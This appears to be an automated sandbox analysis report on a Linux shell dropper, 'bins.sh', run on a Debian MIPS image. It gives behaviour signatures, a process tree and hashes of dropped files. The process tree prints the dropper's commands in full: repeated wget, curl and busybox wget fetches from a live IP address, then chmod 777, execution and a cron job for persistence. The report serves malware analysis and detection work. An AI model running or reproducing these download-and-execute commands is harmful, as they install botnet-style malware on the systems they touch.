Analysis

  • max time kernel
    151s
  • max time network
    156s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    02/11/2024, 19:27

General

  • Target
    bins.sh
  • Size 10KB
  • Sample241102-x53awashrc
  • SHA256 8cb09527eab1327c95ce229536065a304b033b8b41d7a9d898b89d64d4021c2c
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Contacts a large (1514) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 18 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:702
        • /usr/bin/wget
          wget http://87.120.84.230/bins/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Writes file to tmp directory
          PID:703
        • /usr/bin/curl
          curl -O http://87.120.84.230/bins/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Writes file to tmp directory
          PID:713
        • /bin/busybox
          /bin/busybox wget http://87.120.84.230/bins/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Writes file to tmp directory
          PID:725
        • /bin/chmod
          chmod 777 o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • File and Directory Permissions Modification
          PID:727
        • /tmp/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          ./o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
          • Executes dropped EXE
          PID:728
        • /bin/rm
          rm o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
          2⤵
            PID:731
          • /usr/bin/wget
            wget http://87.120.84.230/bins/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Writes file to tmp directory
            PID:732
          • /usr/bin/curl
            curl -O http://87.120.84.230/bins/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Writes file to tmp directory
            PID:733
          • /bin/busybox
            /bin/busybox wget http://87.120.84.230/bins/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Writes file to tmp directory
            PID:734
          • /bin/chmod
            chmod 777 lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • File and Directory Permissions Modification
            PID:735
          • /tmp/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            ./lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
            • Executes dropped EXE
            PID:736
          • /bin/rm
            rm lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
            2⤵
              PID:738
            • /usr/bin/wget
              wget http://87.120.84.230/bins/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://87.120.84.230/bins/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Reads runtime system information
              • Writes file to tmp directory
              PID:740
            • /bin/busybox
              /bin/busybox wget http://87.120.84.230/bins/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Writes file to tmp directory
              PID:744
            • /bin/chmod
              chmod 777 1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • File and Directory Permissions Modification
              PID:747
            • /tmp/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              ./1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
              • Executes dropped EXE
              PID:748
            • /bin/rm
              rm 1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
              2⤵
                PID:750
              • /usr/bin/wget
                wget http://87.120.84.230/bins/ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                2⤵
                • Writes file to tmp directory
                PID:752
              • /usr/bin/curl
                curl -O http://87.120.84.230/bins/ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                2⤵
                • Writes file to tmp directory
                PID:756
              • /bin/busybox
                /bin/busybox wget http://87.120.84.230/bins/ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                2⤵
                • Writes file to tmp directory
                PID:767
              • /bin/chmod
                chmod 777 ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                2⤵
                • File and Directory Permissions Modification
                PID:770
              • /tmp/ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                ./ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:771
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:773
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                        PID:774
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:777
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          PID:778
                    • /bin/rm
                      rm ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                      2⤵
                        PID:780
                      • /usr/bin/wget
                        wget http://87.120.84.230/bins/OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                        2⤵
                          PID:783
                        • /usr/bin/curl
                          curl -O http://87.120.84.230/bins/OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                          2⤵
                            PID:874
                          • /bin/busybox
                            /bin/busybox wget http://87.120.84.230/bins/OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                            2⤵
                            • Writes file to tmp directory
                            PID:875
                          • /bin/chmod
                            chmod 777 OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                            2⤵
                            • File and Directory Permissions Modification
                            PID:878
                          • /tmp/OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                            ./OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                            2⤵
                            • Executes dropped EXE
                            PID:880
                          • /bin/rm
                            rm OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                            2⤵
                              PID:883
                            • /usr/bin/wget
                              wget http://87.120.84.230/bins/6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                              2⤵
                                PID:884
                              • /usr/bin/curl
                                curl -O http://87.120.84.230/bins/6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                                2⤵
                                  PID:889
                                • /bin/busybox
                                  /bin/busybox wget http://87.120.84.230/bins/6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                                  2⤵
                                  • Writes file to tmp directory
                                  PID:892
                                • /bin/chmod
                                  chmod 777 6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:898
                                • /tmp/6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                                  ./6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                                  2⤵
                                  • Executes dropped EXE
                                  PID:899
                                • /bin/rm
                                  rm 6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                                  2⤵
                                    PID:901
                                  • /usr/bin/wget
                                    wget http://87.120.84.230/bins/EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                    2⤵
                                      PID:903
                                    • /usr/bin/curl
                                      curl -O http://87.120.84.230/bins/EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                      2⤵
                                        PID:906
                                      • /bin/busybox
                                        /bin/busybox wget http://87.120.84.230/bins/EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                        2⤵
                                        • Writes file to tmp directory
                                        PID:914
                                      • /bin/chmod
                                        chmod 777 EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                        2⤵
                                        • File and Directory Permissions Modification
                                        PID:918
                                      • /tmp/EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                        ./EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                        2⤵
                                        • Executes dropped EXE
                                        PID:919
                                      • /bin/rm
                                        rm EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                        2⤵
                                          PID:922
                                        • /usr/bin/wget
                                          wget http://87.120.84.230/bins/55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                          2⤵
                                            PID:924
                                          • /usr/bin/curl
                                            curl -O http://87.120.84.230/bins/55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                            2⤵
                                              PID:926
                                            • /bin/busybox
                                              /bin/busybox wget http://87.120.84.230/bins/55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                              2⤵
                                              • Writes file to tmp directory
                                              PID:928
                                            • /bin/chmod
                                              chmod 777 55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:934
                                            • /tmp/55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                              ./55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                              2⤵
                                              • Executes dropped EXE
                                              PID:935
                                            • /bin/rm
                                              rm 55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                              2⤵
                                                PID:937
                                              • /usr/bin/wget
                                                wget http://87.120.84.230/bins/cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                2⤵
                                                  PID:938
                                                • /usr/bin/curl
                                                  curl -O http://87.120.84.230/bins/cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                  2⤵
                                                    PID:943
                                                  • /bin/busybox
                                                    /bin/busybox wget http://87.120.84.230/bins/cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                    2⤵
                                                    • Writes file to tmp directory
                                                    PID:944
                                                  • /bin/chmod
                                                    chmod 777 cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                    2⤵
                                                    • File and Directory Permissions Modification
                                                    PID:945
                                                  • /tmp/cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                    ./cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                    2⤵
                                                    • Executes dropped EXE
                                                    PID:946
                                                  • /bin/rm
                                                    rm cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                    2⤵
                                                      PID:948
                                                    • /usr/bin/wget
                                                      wget http://87.120.84.230/bins/AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                      2⤵
                                                        PID:949
                                                      • /usr/bin/curl
                                                        curl -O http://87.120.84.230/bins/AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                        2⤵
                                                          PID:950
                                                        • /bin/busybox
                                                          /bin/busybox wget http://87.120.84.230/bins/AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                          2⤵
                                                          • Writes file to tmp directory
                                                          PID:951
                                                        • /bin/chmod
                                                          chmod 777 AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                          2⤵
                                                          • File and Directory Permissions Modification
                                                          PID:956
                                                        • /tmp/AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                          ./AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                          2⤵
                                                          • Executes dropped EXE
                                                          PID:961
                                                        • /bin/rm
                                                          rm AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                          2⤵
                                                            PID:963
                                                          • /usr/bin/wget
                                                            wget http://87.120.84.230/bins/yshqRCvpvXFnuTBzg8mTxIbcz7GSDqBuWN
                                                            2⤵
                                                              PID:968
                                                            • /usr/bin/curl
                                                              curl -O http://87.120.84.230/bins/yshqRCvpvXFnuTBzg8mTxIbcz7GSDqBuWN
                                                              2⤵
                                                                PID:974

                                                            Network

                                                                  MITRE ATT&CK Enterprise v15

                                                                  Replay Monitor

                                                                  Loading Replay Monitor...

                                                                  Downloads

                                                                  1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq

                                                                  • Path /tmp/1bfosd2Q00CwHg8qKnBvECLGRA3WpNH2Qq
                                                                  • Size 119KB
                                                                  • SHA256 94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO

                                                                  • Path /tmp/55xGVDo3a9Z7DtYyv7qp1uFUnLs3TelZAO
                                                                  • Size 127KB
                                                                  • SHA256 78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY

                                                                  • Path /tmp/6Z7A1kzXkj8UOwA9daQYAuFBEETJzLDYdY
                                                                  • Size 112KB
                                                                  • SHA256 2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2

                                                                  • Path /tmp/AQi1Gkur1J62RcZFhP42DKiWscOx6Kc7D2
                                                                  • Size 117KB
                                                                  • SHA256 8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz

                                                                  • Path /tmp/EN47kULTcLtWw9XZl2BZkTcn8UVbI1CyCz
                                                                  • Size 141KB
                                                                  • SHA256 dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8

                                                                  • Path /tmp/OyXXZieVaqJ0mnH4XGvx2XpTpdc5rNXLI8
                                                                  • Size 122KB
                                                                  • SHA256 0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW

                                                                  • Path /tmp/ZZb0vFw8MuyVPXGrglYVuVL5zpE1ERi2SW
                                                                  • Size 151KB
                                                                  • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6

                                                                  • Path /tmp/cCfOkwhYpWTbcvspGTHTzNWm5lTc4vvXl6
                                                                  • Size 151KB
                                                                  • SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV

                                                                  • Path /tmp/lThUa6R7OIJY0DkOvDpcRpKqQo8ZZXp5TV
                                                                  • Size 99KB
                                                                  • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT

                                                                  • Path /tmp/o8p6V2IzyTupMJ6nBofR4NAVCAkq63MZlT
                                                                  • Size 107KB
                                                                  • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                                                                  • MD5 SHA1 SHA512 SSDEEP

                                                                  tmp.5BpR6z

                                                                  • Path /var/spool/cron/crontabs/tmp.5BpR6z
                                                                  • Size 210B
                                                                  • SHA256 aeaddb2b0f1dd3d809ad180170ec6b06aed49e262f676201be3e5e752f92fca9
                                                                  • MD5 SHA1 SHA512